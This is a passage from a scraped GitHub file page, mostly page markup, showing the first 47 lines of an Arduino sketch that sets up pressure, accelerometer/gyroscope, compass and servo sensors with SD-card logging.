1.993 0 0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z\"><\/path><\/svg>\n <span itemprop=\"name\">Pull requests<\/span>\n <span class=\"counter\">0<\/span>\n <meta itemprop=\"position\" content=\"3\">\n<\/a> <\/span>\n\n\n <a href=\"\/glen-costigan\/stab\/wiki\" class=\"js-selected-navigation-item reponav-item\" data-hotkey=\"g w\" data-selected-links=\"repo_wiki \/glen-costigan\/stab\/wiki\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-book\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path d=\"M3 5h4v1H3V5zm0 3h4V7H3v1zm0 2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1 1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45 1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z\"><\/path><\/svg>\n Wiki\n<\/a>\n\n <a href=\"\/glen-costigan\/stab\/pulse\" class=\"js-selected-navigation-item reponav-item\" data-selected-links=\"pulse \/glen-costigan\/stab\/pulse\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-pulse\" height=\"16\" version=\"1.1\" viewBox=\"0 0 14 16\" width=\"14\"><path d=\"M11.5 8L8.8 5.4 6.6 8.5 5.5 1.6 2.38 8H0v2h3.6l.9-1.8.9 5.4L9 8.5l1.6 1.5H14V8z\"><\/path><\/svg>\n Pulse\n<\/a>\n <a href=\"\/glen-costigan\/stab\/graphs\" class=\"js-selected-navigation-item reponav-item\" data-selected-links=\"repo_graphs repo_contributors \/glen-costigan\/stab\/graphs\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-graph\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path d=\"M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z\"><\/path><\/svg>\n Graphs\n<\/a>\n <a href=\"\/glen-costigan\/stab\/settings\" class=\"js-selected-navigation-item reponav-item\" data-selected-links=\"repo_settings repo_branch_settings hooks integration_installations \/glen-costigan\/stab\/settings\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-gear\" height=\"16\" version=\"1.1\" viewBox=\"0 0 14 16\" width=\"14\"><path d=\"M14 8.77v-1.6l-1.94-.64-.45-1.09.88-1.84-1.13-1.13-1.81.91-1.09-.45-.69-1.92h-1.6l-.63 1.94-1.11.45-1.84-.88-1.13 1.13.91 1.81-.45 1.09L0 7.23v1.59l1.94.64.45 1.09-.88 1.84 1.13 1.13 1.81-.91 1.09.45.69 1.92h1.59l.63-1.94 1.11-.45 1.84.88 1.13-1.13-.92-1.81.47-1.09L14 8.75v.02zM7 11c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3z\"><\/path><\/svg>\n Settings\n<\/a>\n<\/nav>\n\n <\/div>\n<\/div>\n\n<div class=\"container new-discussion-timeline experiment-repo-nav\">\n <div class=\"repository-content\">\n\n \n\n<a href=\"\/glen-costigan\/stab\/blob\/d668a0b36de413aedee395aaf2625ec1f6eaa4fe\/STAB_1_code\/STAB_1_code.ino\" class=\"d-none js-permalink-shortcut\" data-hotkey=\"y\">Permalink<\/a>\n\n<!-- blob contrib key: blob_contributors:v21:8639515b7067845cf6a6635a3968699a -->\n\n<div class=\"file-navigation js-zeroclipboard-container\">\n \n<div class=\"select-menu branch-select-menu js-menu-container js-select-menu float-left\">\n <button class=\"btn btn-sm select-menu-button js-menu-target css-truncate\" data-hotkey=\"w\"\n \n type=\"button\" aria-label=\"Switch branches or tags\" tabindex=\"0\" aria-haspopup=\"true\">\n <i>Branch:<\/i>\n <span class=\"js-select-button css-truncate-target\">master<\/span>\n <\/button>\n\n <div class=\"select-menu-modal-holder js-menu-content js-navigation-container\" data-pjax aria-hidden=\"true\">\n\n <div class=\"select-menu-modal\">\n <div class=\"select-menu-header\">\n <svg aria-label=\"Close\" class=\"octicon octicon-x js-menu-close\" height=\"16\" role=\"img\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z\"><\/path><\/svg>\n <span class=\"select-menu-title\">Switch branches\/tags<\/span>\n <\/div>\n\n <div class=\"select-menu-filters\">\n <div class=\"select-menu-text-filter\">\n <input type=\"text\" aria-label=\"Find or create a branch\u2026\" id=\"context-commitish-filter-field\" class=\"form-control js-filterable-field js-navigation-enable\" placeholder=\"Find or create a branch\u2026\">\n <\/div>\n <div class=\"select-menu-tabs\">\n <ul>\n <li class=\"select-menu-tab\">\n <a href=\"#\" data-tab-filter=\"branches\" data-filter-placeholder=\"Find or create a branch\u2026\" class=\"js-select-menu-tab\" role=\"tab\">Branches<\/a>\n <\/li>\n <li class=\"select-menu-tab\">\n <a href=\"#\" data-tab-filter=\"tags\" data-filter-placeholder=\"Find a tag\u2026\" class=\"js-select-menu-tab\" role=\"tab\">Tags<\/a>\n <\/li>\n <\/ul>\n <\/div>\n <\/div>\n\n <div class=\"select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket\" data-tab-filter=\"branches\" role=\"menu\">\n\n <div data-filterable-for=\"context-commitish-filter-field\" data-filterable-type=\"substring\">\n\n\n <a class=\"select-menu-item js-navigation-item js-navigation-open selected\"\n href=\"\/glen-costigan\/stab\/blob\/master\/STAB_1_code\/STAB_1_code.ino\"\n data-name=\"master\"\n data-skip-pjax=\"true\"\n rel=\"nofollow\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-check select-menu-item-icon\" height=\"16\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5z\"><\/path><\/svg>\n <span class=\"select-menu-item-text css-truncate-target js-select-menu-filter-text\">\n master\n <\/span>\n <\/a>\n <\/div>\n\n <!-- <\/textarea> --><!-- '\"` --><form accept-charset=\"UTF-8\" action=\"\/glen-costigan\/stab\/branches\" class=\"js-create-branch select-menu-item select-menu-new-item-form js-navigation-item js-new-item-form\" data-form-nonce=\"18c8ed46826ad983230813bc2d9570f9a329836c\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"utf8\" type=\"hidden\" value=\"✓\" \/><input name=\"authenticity_token\" type=\"hidden\" value=\"Tow9LE7+ScI4krTq8x2LiJoCFIZTubz0QW8rRPFqphb0HVHOl4f+j6dyNe96nrnn7wUlebpDhSgRHRYxwvhbxA==\" \/><\/div>\n <svg aria-hidden=\"true\" class=\"octicon octicon-git-branch select-menu-item-icon\" height=\"16\" version=\"1.1\" viewBox=\"0 0 10 16\" width=\"10\"><path d=\"M10 5c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v.3c-.02.52-.23.98-.63 1.38-.4.4-.86.61-1.38.63-.83.02-1.48.16-2 .45V4.72a1.993 1.993 0 0 0-1-3.72C.88 1 0 1.89 0 3a2 2 0 0 0 1 1.72v6.56c-.59.35-1 .99-1 1.72 0 1.11.89 2 2 2 1.11 0 2-.89 2-2 0-.53-.2-1-.53-1.36.09-.06.48-.41.59-.47.25-.11.56-.17.94-.17 1.05-.05 1.95-.45 2.75-1.25S8.95 7.77 9 6.73h-.02C9.59 6.37 10 5.73 10 5zM2 1.8c.66 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2C1.35 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2zm0 12.41c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm6-8c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z\"><\/path><\/svg>\n <div class=\"select-menu-item-text\">\n <span class=\"select-menu-item-heading\">Create branch: <span class=\"js-new-item-name\"><\/span><\/span>\n <span class=\"description\">from \u2018master\u2019<\/span>\n <\/div>\n <input type=\"hidden\" name=\"name\" id=\"name\" class=\"js-new-item-value\">\n <input type=\"hidden\" name=\"branch\" id=\"branch\" value=\"master\">\n <input type=\"hidden\" name=\"path\" id=\"path\" value=\"STAB_1_code\/STAB_1_code.ino\">\n<\/form>\n <\/div>\n\n <div class=\"select-menu-list select-menu-tab-bucket js-select-menu-tab-bucket\" data-tab-filter=\"tags\">\n <div data-filterable-for=\"context-commitish-filter-field\" data-filterable-type=\"substring\">\n\n\n <\/div>\n\n <div class=\"select-menu-no-results\">Nothing to show<\/div>\n <\/div>\n\n <\/div>\n <\/div>\n<\/div>\n\n <div class=\"btn-group float-right\">\n <a href=\"\/glen-costigan\/stab\/find\/master\"\n class=\"js-pjax-capture-input btn btn-sm\"\n data-pjax\n data-hotkey=\"t\">\n Find file\n <\/a>\n <button aria-label=\"Copy file path to clipboard\" class=\"js-zeroclipboard btn btn-sm zeroclipboard-button tooltipped tooltipped-s\" data-copied-hint=\"Copied!\" type=\"button\">Copy path<\/button>\n <\/div>\n <div class=\"breadcrumb js-zeroclipboard-target\">\n <span class=\"repo-root js-repo-root\"><span class=\"js-path-segment\"><a href=\"\/glen-costigan\/stab\"><span>stab<\/span><\/a><\/span><\/span><span class=\"separator\">\/<\/span><span class=\"js-path-segment\"><a href=\"\/glen-costigan\/stab\/tree\/master\/STAB_1_code\"><span>STAB_1_code<\/span><\/a><\/span><span class=\"separator\">\/<\/span><strong class=\"final-path\">STAB_1_code.ino<\/strong>\n <\/div>\n<\/div>\n\n\n <div class=\"commit-tease\">\n <span class=\"float-right\">\n <a class=\"commit-tease-sha\" href=\"\/glen-costigan\/stab\/commit\/7e91ed22a52be23fd21c67c7ce9d51c741d66ab0\" data-pjax>\n 7e91ed2\n <\/a>\n <relative-time datetime=\"2016-04-28T12:24:17Z\">Apr 28, 2016<\/relative-time>\n <\/span>\n <div>\n <img alt=\"@glen-costigan\" class=\"avatar\" height=\"20\" src=\"https:\/\/avatars0.githubusercontent.com\/u\/18294414?v=3&s=40\" width=\"20\" \/>\n <a href=\"\/glen-costigan\" class=\"user-mention\" rel=\"author\">glen-costigan<\/a>\n <a href=\"\/glen-costigan\/stab\/commit\/7e91ed22a52be23fd21c67c7ce9d51c741d66ab0\" class=\"message\" data-pjax=\"true\" title=\"Adding in current arduino code\">Adding in current arduino code<\/a>\n <\/div>\n\n <div class=\"commit-tease-contributors\">\n <button type=\"button\" class=\"btn-link muted-link contributors-toggle\" data-facebox=\"#blob_contributors_box\">\n <strong>1<\/strong>\n contributor\n <\/button>\n \n <\/div>\n\n <div id=\"blob_contributors_box\" style=\"display:none\">\n <h2 class=\"facebox-header\" data-facebox-id=\"facebox-header\">Users who have contributed to this file<\/h2>\n <ul class=\"facebox-user-list\" data-facebox-id=\"facebox-description\">\n <li class=\"facebox-user-list-item\">\n <img alt=\"@glen-costigan\" height=\"24\" src=\"https:\/\/avatars2.githubusercontent.com\/u\/18294414?v=3&s=48\" width=\"24\" \/>\n <a href=\"\/glen-costigan\">glen-costigan<\/a>\n <\/li>\n <\/ul>\n <\/div>\n <\/div>\n\n<div class=\"file\">\n <div class=\"file-header\">\n <div class=\"file-actions\">\n\n <div class=\"btn-group\">\n <a href=\"\/glen-costigan\/stab\/raw\/master\/STAB_1_code\/STAB_1_code.ino\" class=\"btn btn-sm \" id=\"raw-url\">Raw<\/a>\n <a href=\"\/glen-costigan\/stab\/blame\/master\/STAB_1_code\/STAB_1_code.ino\" class=\"btn btn-sm js-update-url-with-hash\">Blame<\/a>\n <a href=\"\/glen-costigan\/stab\/commits\/master\/STAB_1_code\/STAB_1_code.ino\" class=\"btn btn-sm \" rel=\"nofollow\">History<\/a>\n <\/div>\n\n <a class=\"btn-octicon tooltipped tooltipped-nw\"\n href=\"github-windows:\/\/openRepo\/https:\/\/github.com\/glen-costigan\/stab?branch=master&filepath=STAB_1_code%2FSTAB_1_code.ino\"\n aria-label=\"Open this file in GitHub Desktop\"\n data-ga-click=\"Repository, open with desktop, type:windows\">\n <svg aria-hidden=\"true\" class=\"octicon octicon-device-desktop\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path d=\"M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z\"><\/path><\/svg>\n <\/a>\n\n <!-- <\/textarea> --><!-- '\"` --><form accept-charset=\"UTF-8\" action=\"\/glen-costigan\/stab\/edit\/master\/STAB_1_code\/STAB_1_code.ino\" class=\"inline-form js-update-url-with-hash\" data-form-nonce=\"18c8ed46826ad983230813bc2d9570f9a329836c\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"utf8\" type=\"hidden\" value=\"✓\" \/><input name=\"authenticity_token\" type=\"hidden\" value=\"sO\/bpOm1YYJJencocw1h8KlrxWuT2rGXakQSSX7V\/mGncCa7XKHkfI\/b+HJEUfed89HTvCS89lrj1W4J5B9R2Q==\" \/><\/div>\n <button class=\"btn-octicon tooltipped tooltipped-nw\" type=\"submit\"\n aria-label=\"Edit this file\" data-hotkey=\"e\" data-disable-with>\n <svg aria-hidden=\"true\" class=\"octicon octicon-pencil\" height=\"16\" version=\"1.1\" viewBox=\"0 0 14 16\" width=\"14\"><path d=\"M0 12v3h3l8-8-3-3-8 8zm3 2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 0 1 1.41 0l1.59 1.59c.39.39.39 1.02 0 1.41z\"><\/path><\/svg>\n <\/button>\n<\/form> <!-- <\/textarea> --><!-- '\"` --><form accept-charset=\"UTF-8\" action=\"\/glen-costigan\/stab\/delete\/master\/STAB_1_code\/STAB_1_code.ino\" class=\"inline-form\" data-form-nonce=\"18c8ed46826ad983230813bc2d9570f9a329836c\" method=\"post\"><div style=\"margin:0;padding:0;display:inline\"><input name=\"utf8\" type=\"hidden\" value=\"✓\" \/><input name=\"authenticity_token\" type=\"hidden\" value=\"fdfo8Nqum5f5LDwsa1D8W9BinyBvnqK\/uBGaqXKVA5G3e7d111gJOZ3DnjURUY6FsvHocsrWmnpPs4GV3J3xmg==\" \/><\/div>\n <button class=\"btn-octicon btn-octicon-danger tooltipped tooltipped-nw\" type=\"submit\"\n aria-label=\"Delete this file\" data-disable-with>\n <svg aria-hidden=\"true\" class=\"octicon octicon-trashcan\" height=\"16\" version=\"1.1\" viewBox=\"0 0 12 16\" width=\"12\"><path d=\"M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45 1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1 12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z\"><\/path><\/svg>\n <\/button>\n<\/form> <\/div>\n\n <div class=\"file-info\">\n 173 lines (147 sloc)\n <span class=\"file-info-divider\"><\/span>\n 6.64 KB\n <\/div>\n<\/div>\n\n \n\n <div itemprop=\"text\" class=\"blob-wrapper data type-arduino\">\n <table class=\"highlight tab-size js-file-line-container\" data-tab-size=\"8\">\n <tr>\n <td id=\"L1\" class=\"blob-num js-line-number\" data-line-number=\"1\"><\/td>\n <td id=\"LC1\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">include<\/span> <span class=\"pl-s\"><span class=\"pl-pds\"><<\/span>SD.h<span class=\"pl-pds\">><\/span><\/span> <span class=\"pl-c\">\/\/Load the SD library<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L2\" class=\"blob-num js-line-number\" data-line-number=\"2\"><\/td>\n <td id=\"LC2\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">include<\/span> <span class=\"pl-s\"><span class=\"pl-pds\"><<\/span>SPI.h<span class=\"pl-pds\">><\/span><\/span> <span class=\"pl-c\">\/\/Load the SPI comm library<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L3\" class=\"blob-num js-line-number\" data-line-number=\"3\"><\/td>\n <td id=\"LC3\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L4\" class=\"blob-num js-line-number\" data-line-number=\"4\"><\/td>\n <td id=\"LC4\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">int<\/span> chipSelect=<span class=\"pl-c1\">4<\/span>; <span class=\"pl-c\">\/\/Set chipselct = 4<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L5\" class=\"blob-num js-line-number\" data-line-number=\"5\"><\/td>\n <td id=\"LC5\" class=\"blob-code blob-code-inner js-file-line\">File mySensorData; <span class=\"pl-c\">\/\/Variable for working with our file object<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L6\" class=\"blob-num js-line-number\" data-line-number=\"6\"><\/td>\n <td id=\"LC6\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L7\" class=\"blob-num js-line-number\" data-line-number=\"7\"><\/td>\n <td id=\"LC7\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">include<\/span> <span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>Wire.h<span class=\"pl-pds\">"<\/span><\/span> <span class=\"pl-c\">\/\/ imports the wire library for talking over I2C <\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L8\" class=\"blob-num js-line-number\" data-line-number=\"8\"><\/td>\n <td id=\"LC8\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">include<\/span> <span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>Adafruit_BMP085.h<span class=\"pl-pds\">"<\/span><\/span> <span class=\"pl-c\">\/\/ import the Pressure Sensor Library<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L9\" class=\"blob-num js-line-number\" data-line-number=\"9\"><\/td>\n <td id=\"LC9\" class=\"blob-code blob-code-inner js-file-line\">Adafruit_BMP085 mySensor; <span class=\"pl-c\">\/\/ create sensor object called mySensor<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L10\" class=\"blob-num js-line-number\" data-line-number=\"10\"><\/td>\n <td id=\"LC10\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L11\" class=\"blob-num js-line-number\" data-line-number=\"11\"><\/td>\n <td id=\"LC11\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">float<\/span> tempC; <span class=\"pl-c\">\/\/ Variable for holding temp in C<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L12\" class=\"blob-num js-line-number\" data-line-number=\"12\"><\/td>\n <td id=\"LC12\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">float<\/span> tempF; <span class=\"pl-c\">\/\/ Variable for holding temp in F<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L13\" class=\"blob-num js-line-number\" data-line-number=\"13\"><\/td>\n <td id=\"LC13\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">float<\/span> pressure; <span class=\"pl-c\">\/\/Variable for holding pressure reading<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L14\" class=\"blob-num js-line-number\" data-line-number=\"14\"><\/td>\n <td id=\"LC14\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L15\" class=\"blob-num js-line-number\" data-line-number=\"15\"><\/td>\n <td id=\"LC15\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">include<\/span> <span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>I2Cdev.h<span class=\"pl-pds\">"<\/span><\/span> <span class=\"pl-c\">\/\/ import I2Cdev library required for MPU6050 library<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L16\" class=\"blob-num js-line-number\" data-line-number=\"16\"><\/td>\n <td id=\"LC16\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">include<\/span> <span class=\"pl-s\"><span class=\"pl-pds\">"<\/span>MPU6050.h<span class=\"pl-pds\">"<\/span><\/span> <span class=\"pl-c\">\/\/ import MPU6050 accel\/gyro 6DOF sensor library<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L17\" class=\"blob-num js-line-number\" data-line-number=\"17\"><\/td>\n <td id=\"LC17\" class=\"blob-code blob-code-inner js-file-line\">MPU6050 accelgyro; <span class=\"pl-c\">\/\/create sensor object called accelgyro<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L18\" class=\"blob-num js-line-number\" data-line-number=\"18\"><\/td>\n <td id=\"LC18\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c1\">int16_t<\/span> ax, ay, az; <span class=\"pl-c\">\/\/Variables for accel x-dir, y-dir, and z-dir<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L19\" class=\"blob-num js-line-number\" data-line-number=\"19\"><\/td>\n <td id=\"LC19\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c1\">int16_t<\/span> gx, gy, gz; <span class=\"pl-c\">\/\/Variables for gyro x-dir, y-dir, and z-dir<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L20\" class=\"blob-num js-line-number\" data-line-number=\"20\"><\/td>\n <td id=\"LC20\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">define<\/span> <span class=\"pl-en\">OUTPUT_READABLE_ACCELGYRO<\/span> <span class=\"pl-c\">\/\/Output data as readable data<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L21\" class=\"blob-num js-line-number\" data-line-number=\"21\"><\/td>\n <td id=\"LC21\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L22\" class=\"blob-num js-line-number\" data-line-number=\"22\"><\/td>\n <td id=\"LC22\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">include<\/span> <span class=\"pl-s\"><span class=\"pl-pds\"><<\/span>HMC5883L.h<span class=\"pl-pds\">><\/span><\/span> <span class=\"pl-c\">\/\/import library for HMC5883L magnetometer (NEEDS 'Wire' library)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L23\" class=\"blob-num js-line-number\" data-line-number=\"23\"><\/td>\n <td id=\"LC23\" class=\"blob-code blob-code-inner js-file-line\">HMC5883L compass; <span class=\"pl-c\">\/\/create sensor object called compass<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L24\" class=\"blob-num js-line-number\" data-line-number=\"24\"><\/td>\n <td id=\"LC24\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L25\" class=\"blob-num js-line-number\" data-line-number=\"25\"><\/td>\n <td id=\"LC25\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">include<\/span> <span class=\"pl-s\"><span class=\"pl-pds\"><<\/span>Servo.h<span class=\"pl-pds\">><\/span><\/span> <span class=\"pl-c\">\/\/import Servo library<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L26\" class=\"blob-num js-line-number\" data-line-number=\"26\"><\/td>\n <td id=\"LC26\" class=\"blob-code blob-code-inner js-file-line\">Servo myservo; <span class=\"pl-c\">\/\/create servo object called myservo<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L27\" class=\"blob-num js-line-number\" data-line-number=\"27\"><\/td>\n <td id=\"LC27\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L28\" class=\"blob-num js-line-number\" data-line-number=\"28\"><\/td>\n <td id=\"LC28\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">unsigned<\/span> <span class=\"pl-k\">long<\/span> time; <span class=\"pl-c\">\/\/include time variable<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L29\" class=\"blob-num js-line-number\" data-line-number=\"29\"><\/td>\n <td id=\"LC29\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L30\" class=\"blob-num js-line-number\" data-line-number=\"30\"><\/td>\n <td id=\"LC30\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-k\">void<\/span> <span class=\"pl-en\">setup<\/span>(){<\/td>\n <\/tr>\n <tr>\n <td id=\"L31\" class=\"blob-num js-line-number\" data-line-number=\"31\"><\/td>\n <td id=\"LC31\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c1\">pinMode<\/span>(<span class=\"pl-c1\">8<\/span>, OUTPUT);<\/td>\n <\/tr>\n <tr>\n <td id=\"L32\" class=\"blob-num js-line-number\" data-line-number=\"32\"><\/td>\n <td id=\"LC32\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c1\">digitalWrite<\/span>(<span class=\"pl-c1\">8<\/span>, HIGH);<\/td>\n <\/tr>\n <tr>\n <td id=\"L33\" class=\"blob-num js-line-number\" data-line-number=\"33\"><\/td>\n <td id=\"LC33\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L34\" class=\"blob-num js-line-number\" data-line-number=\"34\"><\/td>\n <td id=\"LC34\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c\">\/\/Serial.begin(9600); \/\/turn on serial monitor (Uncomment when not testing)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L35\" class=\"blob-num js-line-number\" data-line-number=\"35\"><\/td>\n <td id=\"LC35\" class=\"blob-code blob-code-inner js-file-line\">mySensor.<span class=\"pl-c1\">begin<\/span>(); <span class=\"pl-c\">\/\/initialize mySensor<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L36\" class=\"blob-num js-line-number\" data-line-number=\"36\"><\/td>\n <td id=\"LC36\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L37\" class=\"blob-num js-line-number\" data-line-number=\"37\"><\/td>\n <td id=\"LC37\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">if<\/span> I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE <span class=\"pl-c\">\/\/ join I2C bus (I2Cdev library doesn't do this automatically)<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L38\" class=\"blob-num js-line-number\" data-line-number=\"38\"><\/td>\n <td id=\"LC38\" class=\"blob-code blob-code-inner js-file-line\">Wire.<span class=\"pl-c1\">begin<\/span>();<\/td>\n <\/tr>\n <tr>\n <td id=\"L39\" class=\"blob-num js-line-number\" data-line-number=\"39\"><\/td>\n <td id=\"LC39\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">elif<\/span> I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE<\/td>\n <\/tr>\n <tr>\n <td id=\"L40\" class=\"blob-num js-line-number\" data-line-number=\"40\"><\/td>\n <td id=\"LC40\" class=\"blob-code blob-code-inner js-file-line\"><span class=\"pl-c1\">Fastwire::setup<\/span>(<span class=\"pl-c1\">400<\/span>, <span class=\"pl-c1\">true<\/span>);<\/td>\n <\/tr>\n <tr>\n <td id=\"L41\" class=\"blob-num js-line-number\" data-line-number=\"41\"><\/td>\n <td id=\"LC41\" class=\"blob-code blob-code-inner js-file-line\">#<span class=\"pl-k\">endif<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L42\" class=\"blob-num js-line-number\" data-line-number=\"42\"><\/td>\n <td id=\"LC42\" class=\"blob-code blob-code-inner js-file-line\">accelgyro.<span class=\"pl-c1\">initialize<\/span>();<\/td>\n <\/tr>\n <tr>\n <td id=\"L43\" class=\"blob-num js-line-number\" data-line-number=\"43\"><\/td>\n <td id=\"LC43\" class=\"blob-code blob-code-inner js-file-line\">\n<\/td>\n <\/tr>\n <tr>\n <td id=\"L44\" class=\"blob-num js-line-number\" data-line-number=\"44\"><\/td>\n <td id=\"LC44\" class=\"blob-code blob-code-inner js-file-line\">compass.<span class=\"pl-c1\">begin<\/span>(); <span class=\"pl-c\">\/\/ Initialize Initialize HMC5883L<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L45\" class=\"blob-num js-line-number\" data-line-number=\"45\"><\/td>\n <td id=\"LC45\" class=\"blob-code blob-code-inner js-file-line\">compass.<span class=\"pl-c1\">setRange<\/span>(HMC5883L_RANGE_1_3GA); <span class=\"pl-c\">\/\/ Set measurement range<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L46\" class=\"blob-num js-line-number\" data-line-number=\"46\"><\/td>\n <td id=\"LC46\" class=\"blob-code blob-code-inner js-file-line\">compass.<span class=\"pl-c1\">setMeasurementMode<\/span>(HMC5883L_CONTINOUS); <span class=\"pl-c\">\/\/ Set measurement mode<\/span><\/td>\n <\/tr>\n <tr>\n <td id=\"L47\" class=\"blob-num js-line-number\" data-line-number=\"47\"><\/td>\n <td id=\"LC47\" class=\"blob-code blob-code-inner 